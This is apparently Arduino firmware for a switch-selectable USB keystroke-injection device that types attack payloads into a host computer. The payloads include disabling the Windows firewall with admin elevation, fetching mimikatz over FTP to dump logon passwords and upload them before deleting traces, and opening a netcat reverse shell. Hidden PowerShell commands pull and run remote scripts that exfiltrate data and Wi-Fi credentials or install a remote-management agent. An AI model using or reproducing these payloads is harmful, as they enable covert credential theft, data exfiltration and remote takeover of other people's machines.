// +----------------------------------------------------------------+ // | Multi Script USB key | // | Last Update 2025-10-20 | // | By Didier Aeschimann | // | Version 1.0 | // +----------------------------------------------------------------+ #include "Keyboard.h" bool Ro[8]; bool OldRo=0; bool CanRun = true; /******************************************************************** * Opens the run bar and executes the command. ********************************************************************/ void CommandAtRunBarMSWIN(char *SomeCommand){ Keyboard.press(KEY_LEFT_GUI); Keyboard.press('r'); delay(100); Keyboard.releaseAll(); delay(1500); Keyboard.print(SomeCommand); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } /******************************************************************** * Run the program with admin privileges. -Joel Serna Moreno ********************************************************************/ void RunProgramAdminMSWIN(char *SomeCommand){ Keyboard.press(KEY_LEFT_GUI); delay(100); Keyboard.releaseAll(); delay(2000); Keyboard.print(SomeCommand); delay(3000); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_LEFT_SHIFT); Keyboard.press(KEY_RETURN); delay(100); Keyboard.releaseAll(); delay(4000); Keyboard.press(KEY_LEFT_ARROW); delay(100); Keyboard.releaseAll(); delay(2000); Keyboard.press(KEY_RETURN); delay(100); Keyboard.releaseAll(); } /******************************************************************** * Minimize open windows. -Joel Serna Moreno ********************************************************************/ void MinimizeWindowMSWIN(){ Keyboard.press(KEY_LEFT_GUI); Keyboard.press('d'); delay(100); Keyboard.release('d'); Keyboard.releaseAll(); } /******************************************************************** * Open the search box. -Joel Serna Moreno ********************************************************************/ void CommandOpenSearchMSWIN(){ Keyboard.press(KEY_LEFT_GUI); Keyboard.press('s'); delay(100); Keyboard.releaseAll(); } /******************************************************************** * Block active sessions. -Joel Serna Moreno ********************************************************************/ void BlockSessionMSWIN(){ Keyboard.press(KEY_LEFT_GUI); Keyboard.press('l'); delay(100); Keyboard.releaseAll(); } /******************************************************************** * Close active program. -Joel Serna Moreno ********************************************************************/ void CloseProgramsMSWIN(){ Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_F4); delay(100); Keyboard.releaseAll(); } /******************************************************************** * Opens the run bar and executes the command. ********************************************************************/ void CommandAtRunBarGnome(char *SomeCommand){ Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_F2); delay(100); Keyboard.releaseAll(); delay(1500); Keyboard.print(SomeCommand); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } /******************************************************************** * Opens spotlight and executes the command. -Adam Baldwin ********************************************************************/ void CommandAtRunBarOSX(char *SomeCommand){ Keyboard.press(KEY_LEFT_GUI); Keyboard.press(' '); delay(100); Keyboard.releaseAll(); delay(1500); Keyboard.print(SomeCommand); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } /******************************************************************** * Opens New Terminal and executes command. -Adam Baldwin ********************************************************************/ void CommandAtNewTerminal(char *SomeCommand){ CommandAtRunBarOSX("Terminal"); Keyboard.press(KEY_LEFT_GUI); Keyboard.press('n'); delay(100); Keyboard.releaseAll(); delay(1500); Keyboard.print(SomeCommand); Keyboard.press(KEY_RETURN); Keyboard.releaseAll(); } /******************************************************************** * Opens the run bar and executes the command. -Aaron Howell ********************************************************************/ void ShrinkCurWinOSX(){ Keyboard.press(KEY_LEFT_GUI); Keyboard.press('h'); delay(100); Keyboard.releaseAll(); delay(250); } /******************************************************************** * Shrinks the active window to help hide it. ********************************************************************/ void ShrinkCurWin(){ Keyboard.press(KEY_LEFT_ALT); Keyboard.press(' '); delay(100); Keyboard.releaseAll(); delay(250); Keyboard.print("n"); } void ShrinkCurWinMSWIN(){ ShrinkCurWin(); } void ShrinkCurWinGnome(){ ShrinkCurWin(); } void PressAndRelease(int KeyCode,int KeyCount){ int KeyCounter=0; for (KeyCounter=0; KeyCounter!=KeyCount; KeyCounter++){ Keyboard.print(KeyCode); } } /********************************************************************* * ledkeys returns the setting of the "lock keys" * Num Lock = 1 * CAPS Lock = 2 * Scroll Lock = 4 * Add them together to get combos, for example if all three are on, 7 would be the result *********************************************************************/ /* int ledkeys(void) { return int(keyboard_leds); } */ /********************************************************************* * Returns TRUE if NUM Lock LED is on and FALSE otherwise. *********************************************************************/ /* boolean IsNumbOn(void) { if ((ledkeys() & 1) == 1){ return true; } else { return false; } } */ /********************************************************************* * Returns TRUE if Caps Lock LED is on and FALSE otherwise. **********************************************************************/ /* boolean IsCapsOn(void) { if ((ledkeys() & 2) == 2){ return true; } else { return false; } } */ /********************************************************************* * Returns TRUE if Scroll Lock LED is on and FALSE otherwise. **********************************************************************/ /* boolean IsScrlOn(void) { if ((ledkeys() & 4) == 4){ return true; } else { return false; } } */ //******************************************************************** void RunScript_Win_DisableFirewall() { Keyboard.press(KEY_LEFT_GUI); delay(100); Keyboard.releaseAll(); delay(2000); Keyboard.print("cmd"); delay(2000); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_LEFT_SHIFT); Keyboard.press(KEY_RETURN); delay(100); Keyboard.releaseAll(); delay(3000); Keyboard.press(KEY_LEFT_ARROW); delay(100); Keyboard.releaseAll(); delay(4000); Keyboard.press(KEY_RETURN); delay(100); Keyboard.releaseAll(); delay(3000); Keyboard.println("netsh advfirewall set currentprofile state off"); delay(3000); Keyboard.println("exit"); CanRun=1; } void RunScript_Win_DLandRunFile(){ CommandAtRunBarMSWIN("powershell"); delay(3000); Keyboard.println("powershell Import-Module BitsTransfer;"); delay(3000); Keyboard.println("Start-BitsTransfer -Source \"http://server/file.exe\" -Destination \"%TEMP%\\file.exe\";"); delay(3000); Keyboard.println("Start-Process \"%TEMP%\\fichero.exe\""); CanRun=1; } void RunScript_Win_export_basic_information_wmic() { Keyboard.press(KEY_LEFT_GUI); delay(100); Keyboard.releaseAll(); delay(2000); Keyboard.println("cmd"); delay(3000); Keyboard.println("wmic bios get serialnumber>>information.txt"); delay(3000); Keyboard.println("wmic computersystem get model>>information.txt"); delay(7000); Keyboard.println("wmic product get name>>information.txt"); delay(3000); Keyboard.println("notepad information.txt"); CanRun=1; } void RunScript_Win_FakeUpdateScreen() { CommandAtRunBarMSWIN("iexplore -k https://fakeupdate.net/sarcastic/"); delay(3000); Keyboard.press(KEY_F11); delay(100); Keyboard.releaseAll(); CanRun=1; } void RunScript_Win_mimikatz_passwords_windows_ftp() { Keyboard.press(KEY_LEFT_GUI); delay(100); Keyboard.releaseAll(); delay(2000); Keyboard.print("cmd"); delay(2000); Keyboard.press(KEY_LEFT_CTRL); Keyboard.press(KEY_LEFT_SHIFT); Keyboard.press(KEY_RETURN); delay(100); Keyboard.releaseAll(); delay(3000); Keyboard.press(KEY_LEFT_ARROW); delay(100); Keyboard.releaseAll(); delay(4000); Keyboard.press(KEY_RETURN); delay(100); Keyboard.releaseAll(); delay(3000); Keyboard.println("ftp"); delay(3000); Keyboard.println("open IPSERVERFTP"); delay(10000); Keyboard.println("USERNAME"); delay(3000); Keyboard.println("PASSWORD"); delay(5000); Keyboard.println("binary"); delay(2000); Keyboard.println("GET mimikatz.exe"); delay(5000); Keyboard.println("bye"); delay(3000); Keyboard.println("mimikatz.exe"); delay(4000); Keyboard.println("log"); delay(2000); Keyboard.println("privilege::debug"); delay(3000); Keyboard.println("sekurlsa::logonPasswords full"); delay(10000); Keyboard.println("exit"); delay(3000); Keyboard.println("ftp"); delay(3000); Keyboard.println("open IPSERVERFTP"); delay(10000); Keyboard.println("USERNAME"); delay(3000); Keyboard.println("PASSWORD"); delay(5000); Keyboard.println("PUT mimikatz.log"); delay(3000); Keyboard.println("bye"); delay(3000); Keyboard.println("del mimikatz.exe & del mimikatz.log"); delay(3000); Keyboard.println("exit"); CanRun=1; } void RunScript_Win_lock_your_computer_message_prank() { CommandAtRunBarMSWIN("notepad.exe"); delay(5000); Keyboard.println("I will learn to lock my computer."); delay(2000); Keyboard.println("I will learn to lock my computer."); delay(2000); Keyboard.println("I will learn to lock my computer."); delay(2000); Keyboard.println("I will learn to lock my computer."); delay(2000); Keyboard.println("I will learn to lock my computer."); delay(2000); Keyboard.println("I will learn to lock my computer."); delay(2000); Keyboard.println("Please remember to lock your computer when you step away from your desk."); delay(2000); Keyboard.println("Thank you."); delay(2000); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(' '); Keyboard.print("x"); delay(100); Keyboard.releaseAll(); CanRun=1; } void RunScript_Win_netcat_ftp_and_reverse_shell() { CommandAtRunBarMSWIN("cmd"); delay(5000); Keyboard.println("ftp"); delay(2000); Keyboard.println("open IPSERVERFTP"); delay(5000); Keyboard.println("USERNAME"); delay(2000); Keyboard.println("PASSWORD"); delay(5000); Keyboard.println("binary"); delay(2000); Keyboard.println("GET nc64.exe"); delay(4000); Keyboard.println("bye"); delay(2000); Keyboard.println("nc64.exe IP PORT -e cmd.exe -d"); //https://github.com/int0x33/nc.exe/ delay(5000); Keyboard.press(KEY_LEFT_ALT); Keyboard.press(KEY_F4); delay(100); Keyboard.releaseAll(); CanRun=1; } void RunScript_Win_Exfiltrate_Data() { CommandAtRunBarMSWIN("powershell -w h -NoP -Ep Bypass ;irm www.home.daprogs.net/dl/exfil.ps1 | iex"); CanRun=1; } void RunScript_Win_Exfiltrate_Wifi() { CommandAtRunBarMSWIN("powershell -w h -NoP -Ep Bypass ;irm www.home.daprogs.net/dl/wifi.ps1 | iex"); CanRun=1; } void RunScript_Win_Install_Mesh() { CommandAtRunBarMSWIN("powershell -w h -NoP -Ep Bypass ;irm www.home.daprogs.net/dl/mesh.ps1 | iex"); CanRun=1; } // void RunScript_Nix_Install_Mesh() { // Keyboard.print("(wget 'https://support.daprogs.net/meshagents?script=1' -O ./meshinstall.sh || wget 'https://support.daprogs.net/meshagents?script=1' --no-proxy -O ./meshinstall.sh) && chmod 755 ./meshinstall.sh && sudo -E ./meshinstall.sh https://support.daprogs.net 'INYpk$Xf2hkMKRCkGfy08RotsKO@62RZVe2KDw4WUq@QhwTCMs6uRfHzFruSR4GY' || ./meshinstall.sh https://support.daprogs.net 'INYpk$Xf2hkMKRCkGfy08RotsKO@62RZVe2KDw4WUq@QhwTCMs6uRfHzFruSR4GY'"); // Keyboard.press(KEY_RETURN); // Keyboard.releaseAll(); // CanRun=1; // } void SelectScript() { Ro[0]=!digitalRead(2); // off=EN, on=FR Ro[1]=!digitalRead(3); // Restart Switch Ro[2]=!digitalRead(4); // bit 32 Ro[3]=!digitalRead(5); // bit 16 Ro[4]=!digitalRead(6); // bit 8 Ro[5]=!digitalRead(7); // bit 4 Ro[6]=!digitalRead(8); // bit 2 Ro[7]=!digitalRead(9); // bit 1 OldRo = Ro[1]; // Reset switch 2 state byte value = 0; for (int i = 7; i > 1; i--) { if (Ro[i]) value |= (1 << (7-i)); } Serial.print(Ro[0]); Serial.print(" "); Serial.print(Ro[1]); Serial.print(" "); Serial.print(Ro[2]); Serial.print(" "); Serial.print(Ro[3]); Serial.print(" "); Serial.print(Ro[4]); Serial.print(" "); Serial.print(Ro[5]); Serial.print(" "); Serial.print(Ro[6]); Serial.print(" "); Serial.print(Ro[7]); Serial.print(" "); if (Ro[0]) { // Select keyboard language with first switch Keyboard.begin(KeyboardLayout_fr_FR); Serial.print("FR"); } else{ Keyboard.begin(KeyboardLayout_en_US); Serial.print("EN"); } Serial.print(" "); Serial.print(value); Serial.println(); delay(3000); switch (value) { case 0: // All 6 switches (2-8) are in the off position Serial.println("No Script Selected"); CanRun=1; //Make sure switch 2 can retart a loop break; case 1: Serial.println("Win_Install_Mesh"); RunScript_Win_Install_Mesh(); break; case 2: Serial.println("Win_Exfiltrate_Wifi"); RunScript_Win_Exfiltrate_Wifi(); break; case 3: Serial.println("Win_Exfiltrate_Data"); RunScript_Win_Exfiltrate_Data(); break; case 4: Serial.println("Win_netcat_ftp_and_reverse_shell"); RunScript_Win_netcat_ftp_and_reverse_shell(); break; case 5: Serial.println("Win_lock_your_computer_message_prank"); RunScript_Win_lock_your_computer_message_prank(); break; case 6: Serial.println("Win_mimikatz_passwords_windows_ftp"); RunScript_Win_mimikatz_passwords_windows_ftp(); break; case 7: Serial.println("Win_FakeUpdateScreen"); RunScript_Win_FakeUpdateScreen(); break; case 8: Serial.println("Win_export_basic_information_wmic"); RunScript_Win_export_basic_information_wmic(); break; case 9: Serial.println("Win_DLandRunFile"); RunScript_Win_DLandRunFile(); break; case 10: Serial.println("Win_DisableFirewall"); RunScript_Win_DisableFirewall(); break; case 11: Serial.println("11"); CanRun=1; //Make sure switch 2 can retart a loop break; case 12: Serial.println("12"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 13: Serial.println("13"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 14: Serial.println("14"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 15: Serial.println("15"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 16: Serial.println("16"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 17: Serial.println("17"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 18: Serial.println("18"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 19: Serial.println("19"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 20: Serial.println("20"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 21: Serial.println("21"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 22: Serial.println("22"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 23: Serial.println("23"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 24: Serial.println("24"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 25: Serial.println("25"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 26: Serial.println("26"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 27: Serial.println("27"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 28: Serial.println("28"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 29: Serial.println("29"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 30: Serial.println("30"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 31: Serial.println("31"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 32: Serial.println("32"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 33: Serial.println("33"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 34: Serial.println("34"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 35: Serial.println("35"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 36: Serial.println("36"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 37: Serial.println("37"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 38: Serial.println("38"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 39: Serial.println("39"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 40: Serial.println("40"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 41: Serial.println("41"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 42: Serial.println("42"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 43: Serial.println("43"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 44: Serial.println("44"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 45: Serial.println("45"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 46: Serial.println("46"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 47: Serial.println("47"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 48: Serial.println("48"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 49: Serial.println("49"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 50: Serial.println("50"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 51: Serial.println("51"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 52: Serial.println("52"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 53: Serial.println("53"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 54: Serial.println("54"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 55: Serial.println("55"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 56: Serial.println("56"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 57: Serial.println("57"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 58: Serial.println("58"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 59: Serial.println("59"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 60: Serial.println("60"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; case 61: Serial.println("61"); CanRun=1; //Make sure switch 2 can retart a loop // statements break; default: // statements break; } } void setup() { Serial.begin(115200); pinMode(2, INPUT_PULLUP); pinMode(3, INPUT_PULLUP); pinMode(4, INPUT_PULLUP); pinMode(5, INPUT_PULLUP); pinMode(6, INPUT_PULLUP); pinMode(7, INPUT_PULLUP); pinMode(8, INPUT_PULLUP); pinMode(9, INPUT_PULLUP); //Setup for first Run delay(100); OldRo = digitalRead(3); CanRun = 1; } void loop() { delay(1000); if (CanRun){ if (OldRo != !digitalRead(3)){ CanRun=0; SelectScript(); } } }